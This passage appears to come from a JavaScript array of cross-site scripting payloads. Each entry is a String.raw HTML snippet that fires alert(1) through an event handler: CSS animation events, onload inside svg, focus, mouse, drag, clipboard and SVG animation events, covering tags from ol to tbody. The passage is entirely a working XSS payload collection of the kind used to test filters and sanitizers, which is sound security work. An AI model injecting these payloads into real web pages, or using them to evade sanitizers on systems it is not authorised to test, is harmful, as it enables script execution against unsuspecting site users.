  String.raw`<style>@keyframes x{}</style><ol style="animation-name:x" onanimationend="alert(1)"></ol>`,
  String.raw`<style>@keyframes x{}</style><ol style="animation-name:x" onanimationstart="alert(1)"></ol>`,
  String.raw`<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationend="alert(1)"></optgroup>`,
  String.raw`<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationstart="alert(1)"></optgroup>`,
  String.raw`<style>@keyframes x{}</style><option style="animation-name:x" onanimationend="alert(1)"></option>`,
  String.raw`<style>@keyframes x{}</style><option style="animation-name:x" onanimationstart="alert(1)"></option>`,
  String.raw`<style>@keyframes x{}</style><output style="animation-name:x" onanimationend="alert(1)"></output>`,
  String.raw`<style>@keyframes x{}</style><output style="animation-name:x" onanimationstart="alert(1)"></output>`,
  String.raw`<style>@keyframes x{}</style><p style="animation-name:x" onanimationend="alert(1)"></p>`,
  String.raw`<style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="alert(1)"></p>`,
  String.raw`<style>@keyframes x{}</style><param style="animation-name:x" onanimationend="alert(1)"></param>`,
  String.raw`<style>@keyframes x{}</style><param style="animation-name:x" onanimationstart="alert(1)"></param>`,
  String.raw`<style>@keyframes x{}</style><picture style="animation-name:x" onanimationend="alert(1)"></picture>`,
  String.raw`<style>@keyframes x{}</style><picture style="animation-name:x" onanimationstart="alert(1)"></picture>`,
  String.raw`<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationend="alert(1)"></plaintext>`,
  String.raw`<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationstart="alert(1)"></plaintext>`,
  String.raw`<style>@keyframes x{}</style><pre style="animation-name:x" onanimationend="alert(1)"></pre>`,
  String.raw`<style>@keyframes x{}</style><pre style="animation-name:x" onanimationstart="alert(1)"></pre>`,
  String.raw`<style>@keyframes x{}</style><progress style="animation-name:x" onanimationend="alert(1)"></progress>`,
  String.raw`<style>@keyframes x{}</style><progress style="animation-name:x" onanimationstart="alert(1)"></progress>`,
  String.raw`<style>@keyframes x{}</style><q style="animation-name:x" onanimationend="alert(1)"></q>`,
  String.raw`<style>@keyframes x{}</style><q style="animation-name:x" onanimationstart="alert(1)"></q>`,
  String.raw`<style>@keyframes x{}</style><rb style="animation-name:x" onanimationend="alert(1)"></rb>`,
  String.raw`<style>@keyframes x{}</style><rb style="animation-name:x" onanimationstart="alert(1)"></rb>`,
  String.raw`<style>@keyframes x{}</style><rp style="animation-name:x" onanimationend="alert(1)"></rp>`,
  String.raw`<style>@keyframes x{}</style><rp style="animation-name:x" onanimationstart="alert(1)"></rp>`,
  String.raw`<style>@keyframes x{}</style><rt style="animation-name:x" onanimationend="alert(1)"></rt>`,
  String.raw`<style>@keyframes x{}</style><rt style="animation-name:x" onanimationstart="alert(1)"></rt>`,
  String.raw`<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationend="alert(1)"></rtc>`,
  String.raw`<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationstart="alert(1)"></rtc>`,
  String.raw`<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationend="alert(1)"></ruby>`,
  String.raw`<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationstart="alert(1)"></ruby>`,
  String.raw`<style>@keyframes x{}</style><s style="animation-name:x" onanimationend="alert(1)"></s>`,
  String.raw`<style>@keyframes x{}</style><s style="animation-name:x" onanimationstart="alert(1)"></s>`,
  String.raw`<style>@keyframes x{}</style><samp style="animation-name:x" onanimationend="alert(1)"></samp>`,
  String.raw`<style>@keyframes x{}</style><samp style="animation-name:x" onanimationstart="alert(1)"></samp>`,
  String.raw`<style>@keyframes x{}</style><script style="animation-name:x" onanimationend="alert(1)"></script>`,
  String.raw`<style>@keyframes x{}</style><script style="animation-name:x" onanimationstart="alert(1)"></script>`,
  String.raw`<style>@keyframes x{}</style><section style="animation-name:x" onanimationend="alert(1)"></section>`,
  String.raw`<style>@keyframes x{}</style><section style="animation-name:x" onanimationstart="alert(1)"></section>`,
  String.raw`<style>@keyframes x{}</style><select style="animation-name:x" onanimationend="alert(1)"></select>`,
  String.raw`<style>@keyframes x{}</style><select style="animation-name:x" onanimationstart="alert(1)"></select>`,
  String.raw`<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationend="alert(1)"></shadow>`,
  String.raw`<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationstart="alert(1)"></shadow>`,
  String.raw`<style>@keyframes x{}</style><slot style="animation-name:x" onanimationend="alert(1)"></slot>`,
  String.raw`<style>@keyframes x{}</style><slot style="animation-name:x" onanimationstart="alert(1)"></slot>`,
  String.raw`<style>@keyframes x{}</style><small style="animation-name:x" onanimationend="alert(1)"></small>`,
  String.raw`<style>@keyframes x{}</style><small style="animation-name:x" onanimationstart="alert(1)"></small>`,
  String.raw`<style>@keyframes x{}</style><source style="animation-name:x" onanimationend="alert(1)"></source>`,
  String.raw`<style>@keyframes x{}</style><source style="animation-name:x" onanimationstart="alert(1)"></source>`,
  String.raw`<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationend="alert(1)"></spacer>`,
  String.raw`<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationstart="alert(1)"></spacer>`,
  String.raw`<style>@keyframes x{}</style><span style="animation-name:x" onanimationend="alert(1)"></span>`,
  String.raw`<style>@keyframes x{}</style><span style="animation-name:x" onanimationstart="alert(1)"></span>`,
  String.raw`<style>@keyframes x{}</style><strike style="animation-name:x" onanimationend="alert(1)"></strike>`,
  String.raw`<style>@keyframes x{}</style><strike style="animation-name:x" onanimationstart="alert(1)"></strike>`,
  String.raw`<style>@keyframes x{}</style><strong style="animation-name:x" onanimationend="alert(1)"></strong>`,
  String.raw`<style>@keyframes x{}</style><strong style="animation-name:x" onanimationstart="alert(1)"></strong>`,
  String.raw`<style>@keyframes x{}</style><style style="animation-name:x" onanimationend="alert(1)"></style>`,
  String.raw`<style>@keyframes x{}</style><style style="animation-name:x" onanimationstart="alert(1)"></style>`,
  String.raw`<style>@keyframes x{}</style><sub style="animation-name:x" onanimationend="alert(1)"></sub>`,
  String.raw`<style>@keyframes x{}</style><sub style="animation-name:x" onanimationstart="alert(1)"></sub>`,
  String.raw`<style>@keyframes x{}</style><summary style="animation-name:x" onanimationend="alert(1)"></summary>`,
  String.raw`<style>@keyframes x{}</style><summary style="animation-name:x" onanimationstart="alert(1)"></summary>`,
  String.raw`<style>@keyframes x{}</style><sup style="animation-name:x" onanimationend="alert(1)"></sup>`,
  String.raw`<style>@keyframes x{}</style><sup style="animation-name:x" onanimationstart="alert(1)"></sup>`,
  String.raw`<style>@keyframes x{}</style><svg style="animation-name:x" onanimationend="alert(1)"></svg>`,
  String.raw`<style>@keyframes x{}</style><svg style="animation-name:x" onanimationstart="alert(1)"></svg>`,
  String.raw`<style>@keyframes x{}</style><table style="animation-name:x" onanimationend="alert(1)"></table>`,
  String.raw`<style>@keyframes x{}</style><table style="animation-name:x" onanimationstart="alert(1)"></table>`,
  String.raw`<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationend="alert(1)"></tbody>`,
  String.raw`<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationstart="alert(1)"></tbody>`,
  String.raw`<style>@keyframes x{}</style><td style="animation-name:x" onanimationend="alert(1)"></td>`,
  String.raw`<style>@keyframes x{}</style><td style="animation-name:x" onanimationstart="alert(1)"></td>`,
  String.raw`<style>@keyframes x{}</style><template style="animation-name:x" onanimationend="alert(1)"></template>`,
  String.raw`<style>@keyframes x{}</style><template style="animation-name:x" onanimationstart="alert(1)"></template>`,
  String.raw`<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationend="alert(1)"></textarea>`,
  String.raw`<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationstart="alert(1)"></textarea>`,
  String.raw`<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationend="alert(1)"></tfoot>`,
  String.raw`<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationstart="alert(1)"></tfoot>`,
  String.raw`<style>@keyframes x{}</style><th style="animation-name:x" onanimationend="alert(1)"></th>`,
  String.raw`<style>@keyframes x{}</style><th style="animation-name:x" onanimationstart="alert(1)"></th>`,
  String.raw`<style>@keyframes x{}</style><thead style="animation-name:x" onanimationend="alert(1)"></thead>`,
  String.raw`<style>@keyframes x{}</style><thead style="animation-name:x" onanimationstart="alert(1)"></thead>`,
  String.raw`<style>@keyframes x{}</style><time style="animation-name:x" onanimationend="alert(1)"></time>`,
  String.raw`<style>@keyframes x{}</style><time style="animation-name:x" onanimationstart="alert(1)"></time>`,
  String.raw`<style>@keyframes x{}</style><title style="animation-name:x" onanimationend="alert(1)"></title>`,
  String.raw`<style>@keyframes x{}</style><title style="animation-name:x" onanimationstart="alert(1)"></title>`,
  String.raw`<style>@keyframes x{}</style><tr style="animation-name:x" onanimationend="alert(1)"></tr>`,
  String.raw`<style>@keyframes x{}</style><tr style="animation-name:x" onanimationstart="alert(1)"></tr>`,
  String.raw`<style>@keyframes x{}</style><track style="animation-name:x" onanimationend="alert(1)"></track>`,
  String.raw`<style>@keyframes x{}</style><track style="animation-name:x" onanimationstart="alert(1)"></track>`,
  String.raw`<style>@keyframes x{}</style><tt style="animation-name:x" onanimationend="alert(1)"></tt>`,
  String.raw`<style>@keyframes x{}</style><tt style="animation-name:x" onanimationstart="alert(1)"></tt>`,
  String.raw`<style>@keyframes x{}</style><u style="animation-name:x" onanimationend="alert(1)"></u>`,
  String.raw`<style>@keyframes x{}</style><u style="animation-name:x" onanimationstart="alert(1)"></u>`,
  String.raw`<style>@keyframes x{}</style><ul style="animation-name:x" onanimationend="alert(1)"></ul>`,
  String.raw`<style>@keyframes x{}</style><ul style="animation-name:x" onanimationstart="alert(1)"></ul>`,
  String.raw`<style>@keyframes x{}</style><var style="animation-name:x" onanimationend="alert(1)"></var>`,
  String.raw`<style>@keyframes x{}</style><var style="animation-name:x" onanimationstart="alert(1)"></var>`,
  String.raw`<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="alert(1)"></video>`,
  String.raw`<style>@keyframes x{}</style><video style="animation-name:x" onanimationstart="alert(1)"></video>`,
  String.raw`<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationend="alert(1)"></wbr>`,
  String.raw`<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationstart="alert(1)"></wbr>`,
  String.raw`<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationend="alert(1)"></xmp>`,
  String.raw`<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationstart="alert(1)"></xmp>`,
  String.raw`<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>`,
  String.raw`<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>`,
  String.raw`<sub draggable="true" ondrag="alert(1)">test</sub>`,
  String.raw`<sub draggable="true" ondragend="alert(1)">test</sub>`,
  String.raw`<sub draggable="true" ondragenter="alert(1)">test</sub>`,
  String.raw`<sub draggable="true" ondragleave="alert(1)">test</sub>`,
  String.raw`<sub draggable="true" ondragstart="alert(1)">test</sub>`,
  String.raw`<sub id=x tabindex=1 onactivate=alert(1)></sub>`,
  String.raw`<sub id=x tabindex=1 onbeforeactivate=alert(1)></sub>`,
  String.raw`<sub id=x tabindex=1 onbeforedeactivate=alert(1)></sub><input autofocus>`,
  String.raw`<sub id=x tabindex=1 ondeactivate=alert(1)></sub><input id=y autofocus>`,
  String.raw`<sub id=x tabindex=1 onfocus=alert(1)></sub>`,
  String.raw`<sub id=x tabindex=1 onfocusin=alert(1)></sub>`,
  String.raw`<sub onbeforecopy="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub onbeforecut="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub onbeforepaste="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub onblur=alert(1) tabindex=1 id=x></sub><input autofocus>`,
  String.raw`<sub onclick="alert(1)">test</sub>`,
  String.raw`<sub oncontextmenu="alert(1)">test</sub>`,
  String.raw`<sub oncopy="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub oncut="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub ondblclick="alert(1)">test</sub>`,
  String.raw`<sub onfocusout=alert(1) tabindex=1 id=x></sub><input autofocus>`,
  String.raw`<sub onkeydown="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub onkeypress="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub onkeyup="alert(1)" contenteditable>test</sub>`,
  String.raw`<sub onmousedown="alert(1)">test</sub>`,
  String.raw`<sub onmouseenter="alert(1)">test</sub>`,
  String.raw`<sub onmouseleave="alert(1)">test</sub>`,
  String.raw`<sub onmousemove="alert(1)">test</sub>`,
  String.raw`<sub onmouseout="alert(1)">test</sub>`,
  String.raw`<sub onmouseover="alert(1)">test</sub>`,
  String.raw`<sub onmouseup="alert(1)">test</sub>`,
  String.raw`<sub onpaste="alert(1)" contenteditable>test</sub>`,
  String.raw`<summary draggable="true" ondrag="alert(1)">test</summary>`,
  String.raw`<summary draggable="true" ondragend="alert(1)">test</summary>`,
  String.raw`<summary draggable="true" ondragenter="alert(1)">test</summary>`,
  String.raw`<summary draggable="true" ondragleave="alert(1)">test</summary>`,
  String.raw`<summary draggable="true" ondragstart="alert(1)">test</summary>`,
  String.raw`<summary id=x tabindex=1 onactivate=alert(1)></summary>`,
  String.raw`<summary id=x tabindex=1 onbeforeactivate=alert(1)></summary>`,
  String.raw`<summary id=x tabindex=1 onbeforedeactivate=alert(1)></summary><input autofocus>`,
  String.raw`<summary id=x tabindex=1 ondeactivate=alert(1)></summary><input id=y autofocus>`,
  String.raw`<summary id=x tabindex=1 onfocus=alert(1)></summary>`,
  String.raw`<summary id=x tabindex=1 onfocusin=alert(1)></summary>`,
  String.raw`<summary onbeforecopy="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary onbeforecut="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary onbeforepaste="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary onblur=alert(1) tabindex=1 id=x></summary><input autofocus>`,
  String.raw`<summary onclick="alert(1)">test</summary>`,
  String.raw`<summary oncontextmenu="alert(1)">test</summary>`,
  String.raw`<summary oncopy="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary oncut="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary ondblclick="alert(1)">test</summary>`,
  String.raw`<summary onfocusout=alert(1) tabindex=1 id=x></summary><input autofocus>`,
  String.raw`<summary onkeydown="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary onkeypress="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary onkeyup="alert(1)" contenteditable>test</summary>`,
  String.raw`<summary onmousedown="alert(1)">test</summary>`,
  String.raw`<summary onmouseenter="alert(1)">test</summary>`,
  String.raw`<summary onmouseleave="alert(1)">test</summary>`,
  String.raw`<summary onmousemove="alert(1)">test</summary>`,
  String.raw`<summary onmouseout="alert(1)">test</summary>`,
  String.raw`<summary onmouseover="alert(1)">test</summary>`,
  String.raw`<summary onmouseup="alert(1)">test</summary>`,
  String.raw`<summary onpaste="alert(1)" contenteditable>test</summary>`,
  String.raw`<sup draggable="true" ondrag="alert(1)">test</sup>`,
  String.raw`<sup draggable="true" ondragend="alert(1)">test</sup>`,
  String.raw`<sup draggable="true" ondragenter="alert(1)">test</sup>`,
  String.raw`<sup draggable="true" ondragleave="alert(1)">test</sup>`,
  String.raw`<sup draggable="true" ondragstart="alert(1)">test</sup>`,
  String.raw`<sup id=x tabindex=1 onactivate=alert(1)></sup>`,
  String.raw`<sup id=x tabindex=1 onbeforeactivate=alert(1)></sup>`,
  String.raw`<sup id=x tabindex=1 onbeforedeactivate=alert(1)></sup><input autofocus>`,
  String.raw`<sup id=x tabindex=1 ondeactivate=alert(1)></sup><input id=y autofocus>`,
  String.raw`<sup id=x tabindex=1 onfocus=alert(1)></sup>`,
  String.raw`<sup id=x tabindex=1 onfocusin=alert(1)></sup>`,
  String.raw`<sup onbeforecopy="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup onbeforecut="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup onbeforepaste="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup onblur=alert(1) tabindex=1 id=x></sup><input autofocus>`,
  String.raw`<sup onclick="alert(1)">test</sup>`,
  String.raw`<sup oncontextmenu="alert(1)">test</sup>`,
  String.raw`<sup oncopy="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup oncut="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup ondblclick="alert(1)">test</sup>`,
  String.raw`<sup onfocusout=alert(1) tabindex=1 id=x></sup><input autofocus>`,
  String.raw`<sup onkeydown="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup onkeypress="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup onkeyup="alert(1)" contenteditable>test</sup>`,
  String.raw`<sup onmousedown="alert(1)">test</sup>`,
  String.raw`<sup onmouseenter="alert(1)">test</sup>`,
  String.raw`<sup onmouseleave="alert(1)">test</sup>`,
  String.raw`<sup onmousemove="alert(1)">test</sup>`,
  String.raw`<sup onmouseout="alert(1)">test</sup>`,
  String.raw`<sup onmouseover="alert(1)">test</sup>`,
  String.raw`<sup onmouseup="alert(1)">test</sup>`,
  String.raw`<sup onpaste="alert(1)" contenteditable>test</sup>`,
  String.raw`<svg draggable="true" ondrag="alert(1)">test</svg>`,
  String.raw`<svg draggable="true" ondragend="alert(1)">test</svg>`,
  String.raw`<svg draggable="true" ondragenter="alert(1)">test</svg>`,
  String.raw`<svg draggable="true" ondragleave="alert(1)">test</svg>`,
  String.raw`<svg draggable="true" ondragstart="alert(1)">test</svg>`,
  String.raw`<svg id=x onfocus=alert(1)>`,
  String.raw`<svg id=x onfocusin=alert(1)>`,
  String.raw`<svg id=x tabindex=1 onactivate=alert(1)></svg>`,
  String.raw`<svg id=x tabindex=1 onbeforeactivate=alert(1)></svg>`,
  String.raw`<svg id=x tabindex=1 onbeforedeactivate=alert(1)></svg><input autofocus>`,
  String.raw`<svg id=x tabindex=1 ondeactivate=alert(1)></svg><input id=y autofocus>`,
  String.raw`<svg onbeforecopy="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onbeforecut="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onbeforepaste="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onblur=alert(1) tabindex=1 id=x></svg><input autofocus>`,
  String.raw`<svg onclick="alert(1)">test</svg>`,
  String.raw`<svg oncontextmenu="alert(1)">test</svg>`,
  String.raw`<svg oncopy="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg oncut="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg ondblclick="alert(1)">test</svg>`,
  String.raw`<svg onfocusout=alert(1) tabindex=1 id=x></svg><input autofocus>`,
  String.raw`<svg onkeydown="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onkeypress="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onkeyup="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onload=alert(1)>`,
  String.raw`<svg onmousedown="alert(1)">test</svg>`,
  String.raw`<svg onmouseenter="alert(1)">test</svg>`,
  String.raw`<svg onmouseleave="alert(1)">test</svg>`,
  String.raw`<svg onmousemove="alert(1)">test</svg>`,
  String.raw`<svg onmouseout="alert(1)">test</svg>`,
  String.raw`<svg onmouseover="alert(1)">test</svg>`,
  String.raw`<svg onmouseup="alert(1)">test</svg>`,
  String.raw`<svg onpaste="alert(1)" contenteditable>test</svg>`,
  String.raw`<svg onunload=window.open('javascript:alert(1)')>`,
  String.raw`<svg><a onload=alert(1)></a>`,
  String.raw`<svg><abbr onload=alert(1)></abbr>`,
  String.raw`<svg><acronym onload=alert(1)></acronym>`,
  String.raw`<svg><address onload=alert(1)></address>`,
  String.raw`<svg><animate onbegin=alert(1) attributeName=x dur=1s>`,
  String.raw`<svg><animate onend=alert(1) attributeName=x dur=1s>`,
  String.raw`<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />`,
  String.raw`<svg><animatetransform onbegin=alert(1) attributeName=transform>`,
  String.raw`<svg><animatetransform onend=alert(1) attributeName=transform dur=1s>`,
  String.raw`<svg><animatetransform onrepeat=alert(1) attributeName=transform repeatCount=2 dur=1s>`,
  String.raw`<svg><applet onload=alert(1)></applet>`,
  String.raw`<svg><area onload=alert(1)></area>`,
  String.raw`<svg><article onload=alert(1)></article>`,
  String.raw`<svg><aside onload=alert(1)></aside>`,
  String.raw`<svg><audio onload=alert(1)></audio>`,
  String.raw`<svg><b onload=alert(1)></b>`,
  String.raw`<svg><base onload=alert(1)></base>`,
  String.raw`<svg><basefont onload=alert(1)></basefont>`,
  String.raw`<svg><bdi onload=alert(1)></bdi>`,
  String.raw`<svg><bdo onload=alert(1)></bdo>`,
  String.raw`<svg><bgsound onload=alert(1)></bgsound>`,
  String.raw`<svg><big onload=alert(1)></big>`,
  String.raw`<svg><blink onload=alert(1)></blink>`,
  String.raw`<svg><blockquote onload=alert(1)></blockquote>`,
  String.raw`<svg><br onload=alert(1)></br>`,
  String.raw`<svg><button onload=alert(1)></button>`,
  String.raw`<svg><canvas onload=alert(1)></canvas>`,
  String.raw`<svg><caption onload=alert(1)></caption>`,
  String.raw`<svg><center onload=alert(1)></center>`,
  String.raw`<svg><cite onload=alert(1)></cite>`,
  String.raw`<svg><code onload=alert(1)></code>`,
  String.raw`<svg><col onload=alert(1)></col>`,
  String.raw`<svg><colgroup onload=alert(1)></colgroup>`,
  String.raw`<svg><command onload=alert(1)></command>`,
  String.raw`<svg><content onload=alert(1)></content>`,
  String.raw`<svg><data onload=alert(1)></data>`,
  String.raw`<svg><datalist onload=alert(1)></datalist>`,
  String.raw`<svg><dd onload=alert(1)></dd>`,
  String.raw`<svg><del onload=alert(1)></del>`,
  String.raw`<svg><details onload=alert(1)></details>`,
  String.raw`<svg><dfn onload=alert(1)></dfn>`,
  String.raw`<svg><dialog onload=alert(1)></dialog>`,
  String.raw`<svg><dir onload=alert(1)></dir>`,
  String.raw`<svg><discard onbegin=alert(1)>`,
  String.raw`<svg><div onload=alert(1)></div>`,
  String.raw`<svg><dl onload=alert(1)></dl>`,
  String.raw`<svg><dt onload=alert(1)></dt>`,
  String.raw`<svg><element onload=alert(1)></element>`,
  String.raw`<svg><em onload=alert(1)></em>`,
  String.raw`<svg><fieldset onload=alert(1)></fieldset>`,
  String.raw`<svg><figcaption onload=alert(1)></figcaption>`,
  String.raw`<svg><figure onload=alert(1)></figure>`,
  String.raw`<svg><font onload=alert(1)></font>`,
  String.raw`<svg><footer onload=alert(1)></footer>`,
  String.raw`<svg><form onload=alert(1)></form>`,
  String.raw`<svg><frameset onload=alert(1)></frameset>`,
  String.raw`<svg><h1 onload=alert(1)></h1>`,
  String.raw`<svg><head onload=alert(1)></head>`,
  String.raw`<svg><header onload=alert(1)></header>`,
  String.raw`<svg><hgroup onload=alert(1)></hgroup>`,
  String.raw`<svg><hr onload=alert(1)></hr>`,
  String.raw`<svg><html onload=alert(1)></html>`,
  String.raw`<svg><i onload=alert(1)></i>`,
  String.raw`<svg><image href=1 onerror=alert(1)>`,
  String.raw`<svg><image href=validimage.png onload=alert(1)>`,
  String.raw`<svg><ins onload=alert(1)></ins>`,
  String.raw`<svg><kbd onload=alert(1)></kbd>`,
  String.raw`<svg><keygen onload=alert(1)></keygen>`,
  String.raw`<svg><label onload=alert(1)></label>`,
  String.raw`<svg><legend onload=alert(1)></legend>`,
  String.raw`<svg><li onload=alert(1)></li>`,
  String.raw`<svg><listing onload=alert(1)></listing>`,
  String.raw`<svg><main onload=alert(1)></main>`,
  String.raw`<svg><map onload=alert(1)></map>`,
  String.raw`<svg><mark onload=alert(1)></mark>`,
  String.raw`<svg><marquee onload=alert(1)></marquee>`,
  String.raw`<svg><menu onload=alert(1)></menu>`,
  String.raw`<svg><menuitem onload=alert(1)></menuitem>`,
  String.raw`<svg><meta onload=alert(1)></meta>`,
  String.raw`<svg><meter onload=alert(1)></meter>`,
  String.raw`<svg><multicol onload=alert(1)></multicol>`,
  String.raw`<svg><nav onload=alert(1)></nav>`,
  String.raw`<svg><nextid onload=alert(1)></nextid>`,
  String.raw`<svg><nobr onload=alert(1)></nobr>`,
  String.raw`<svg><noembed onload=alert(1)></noembed>`,
  String.raw`<svg><noframes onload=alert(1)></noframes>`,
  String.raw`<svg><noscript onload=alert(1)></noscript>`,
  String.raw`<svg><ol onload=alert(1)></ol>`,
  String.raw`<svg><optgroup onload=alert(1)></optgroup>`,
  String.raw`<svg><option onload=alert(1)></option>`,
  String.raw`<svg><output onload=alert(1)></output>`,
  String.raw`<svg><p onload=alert(1)></p>`,
  String.raw`<svg><param onload=alert(1)></param>`,
  String.raw`<svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1">`,
  String.raw`<svg><path><animateMotion onend=alert(1) dur=1s repeatCount=1>`,
  String.raw`<svg><path><animateMotion onrepeat=alert(1) dur="1s" repeatCount="2">`,
  String.raw`<svg><picture onload=alert(1)></picture>`,
  String.raw`<svg><plaintext onload=alert(1)></plaintext>`,
  String.raw`<svg><pre onload=alert(1)></pre>`,
  String.raw`<svg><progress onload=alert(1)></progress>`,
  String.raw`<svg><q onload=alert(1)></q>`,
  String.raw`<svg><rb onload=alert(1)></rb>`,
  String.raw`<svg><rp onload=alert(1)></rp>`,
  String.raw`<svg><rt onload=alert(1)></rt>`,
  String.raw`<svg><rtc onload=alert(1)></rtc>`,
  String.raw`<svg><ruby onload=alert(1)></ruby>`,
  String.raw`<svg><s onload=alert(1)></s>`,
  String.raw`<svg><samp onload=alert(1)></samp>`,
  String.raw`<svg><section onload=alert(1)></section>`,
  String.raw`<svg><select onload=alert(1)></select>`,
  String.raw`<svg><set onbegin=alert(1) attributename=x dur=1s>`,
  String.raw`<svg><set onend=alert(1) attributename=x dur=1s>`,
  String.raw`<svg><set onrepeat=alert(1) attributename=x dur=1s repeatcount=2>`,
  String.raw`<svg><shadow onload=alert(1)></shadow>`,
  String.raw`<svg><slot onload=alert(1)></slot>`,
  String.raw`<svg><small onload=alert(1)></small>`,
  String.raw`<svg><source onload=alert(1)></source>`,
  String.raw`<svg><spacer onload=alert(1)></spacer>`,
  String.raw`<svg><span onload=alert(1)></span>`,
  String.raw`<svg><strike onload=alert(1)></strike>`,
  String.raw`<svg><strong onload=alert(1)></strong>`,
  String.raw`<svg><sub onload=alert(1)></sub>`,
  String.raw`<svg><summary onload=alert(1)></summary>`,
  String.raw`<svg><sup onload=alert(1)></sup>`,
  String.raw`<svg><table onload=alert(1)></table>`,
  String.raw`<svg><tbody onload=alert(1)></tbody>`,
  String.raw`<svg><td onload=alert(1)></td>`,
  String.raw`<svg><template onload=alert(1)></template>`,
  String.raw`<svg><textarea onload=alert(1)></textarea>`,
  String.raw`<svg><tfoot onload=alert(1)></tfoot>`,
  String.raw`<svg><th onload=alert(1)></th>`,
  String.raw`<svg><thead onload=alert(1)></thead>`,
  String.raw`<svg><time onload=alert(1)></time>`,
  String.raw`<svg><title onload=alert(1)></title>`,
  String.raw`<svg><tr onload=alert(1)></tr>`,
  String.raw`<svg><tt onload=alert(1)></tt>`,
  String.raw`<svg><u onload=alert(1)></u>`,
  String.raw`<svg><ul onload=alert(1)></ul>`,
  String.raw`<svg><var onload=alert(1)></var>`,
  String.raw`<svg><video onload=alert(1)></video>`,
  String.raw`<svg><wbr onload=alert(1)></wbr>`,
  String.raw`<svg><xmp onload=alert(1)></xmp>`,
  String.raw`<svg><xss onload=alert(1)></xss>`,
  String.raw`<table draggable="true" ondrag="alert(1)">test</table>`,
  String.raw`<table draggable="true" ondragend="alert(1)">test</table>`,
  String.raw`<table draggable="true" ondragenter="alert(1)">test</table>`,
  String.raw`<table draggable="true" ondragleave="alert(1)">test</table>`,
  String.raw`<table draggable="true" ondragstart="alert(1)">test</table>`,
  String.raw`<table id=x tabindex=1 onactivate=alert(1)></table>`,
  String.raw`<table id=x tabindex=1 onbeforeactivate=alert(1)></table>`,
  String.raw`<table id=x tabindex=1 onbeforedeactivate=alert(1)></table><input autofocus>`,
  String.raw`<table id=x tabindex=1 ondeactivate=alert(1)></table><input id=y autofocus>`,
  String.raw`<table id=x tabindex=1 onfocus=alert(1)></table>`,
  String.raw`<table id=x tabindex=1 onfocusin=alert(1)></table>`,
  String.raw`<table onbeforecopy="alert(1)" contenteditable>test</table>`,
  String.raw`<table onbeforecut="alert(1)" contenteditable>test</table>`,
  String.raw`<table onbeforepaste="alert(1)" contenteditable>test</table>`,
  String.raw`<table onblur=alert(1) tabindex=1 id=x></table><input autofocus>`,
  String.raw`<table onclick="alert(1)">test</table>`,
  String.raw`<table oncontextmenu="alert(1)">test</table>`,
  String.raw`<table oncopy="alert(1)" contenteditable>test</table>`,
  String.raw`<table oncut="alert(1)" contenteditable>test</table>`,
  String.raw`<table ondblclick="alert(1)">test</table>`,
  String.raw`<table onfocusout=alert(1) tabindex=1 id=x></table><input autofocus>`,
  String.raw`<table onkeydown="alert(1)" contenteditable>test</table>`,
  String.raw`<table onkeypress="alert(1)" contenteditable>test</table>`,
  String.raw`<table onkeyup="alert(1)" contenteditable>test</table>`,
  String.raw`<table onmousedown="alert(1)">test</table>`,
  String.raw`<table onmouseenter="alert(1)">test</table>`,
  String.raw`<table onmouseleave="alert(1)">test</table>`,
  String.raw`<table onmousemove="alert(1)">test</table>`,
  String.raw`<table onmouseout="alert(1)">test</table>`,
  String.raw`<table onmouseover="alert(1)">test</table>`,
  String.raw`<table onmouseup="alert(1)">test</table>`,
  String.raw`<table onpaste="alert(1)" contenteditable>test</table>`,
  String.raw`<tbody draggable="true" ondrag="alert(1)">test</tbody>`,
